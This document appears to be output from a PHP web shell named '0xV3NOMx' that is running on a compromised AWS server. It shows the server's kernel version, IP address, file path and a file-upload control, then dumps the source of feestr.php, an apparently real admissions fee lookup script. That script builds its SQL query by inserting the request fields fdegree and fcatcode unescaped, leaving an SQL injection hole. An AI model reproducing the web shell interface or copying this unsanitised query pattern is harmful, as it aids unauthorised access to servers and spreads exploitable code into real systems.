0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.141.25.125


Current Path : /var/www/html/gach/adm_bcu/pgetadm/
Upload File :
Current File : /var/www/html/gach/adm_bcu/pgetadm/feestr.php

<?php

function getFees($aobj_context)
{
    $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); 
    
    $fdegree = $aobj_context->mobj_data["fdegree"];
    $fcatcode = $aobj_context->mobj_data["fcatcode"];
	
	$query = "select fheadcode, fmaxfee from admfeestr where fdegree like '{$fdegree}' 
    and fcatcode = '{$fcatcode}' and fcombcode = 'PGET' and fexamno = 'A'
    and date_format(now(), '%Y-%m-%d') between fadmfeesdate and fadmfeeedate
    order by fheadcode";
    $result1 = $aobj_context->mobj_db->GetAll($query);
    
    if(!$result1 && gettype($result1) == 'boolean'){
        $arr['msg'] = "Error while fetching data";
        echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"Failure"); 
        return;
    }
    
    if(count($result1) > 0) {
        $arr['feestr'] = $result1;
	    echo $aobj_context->mobj_output->ToJSONEnvelope($arr,0,"success"); 
	    return;
    }
    else {
        $arr['msg'] = "No data found";
        echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"Failure"); 
        return;
    }
}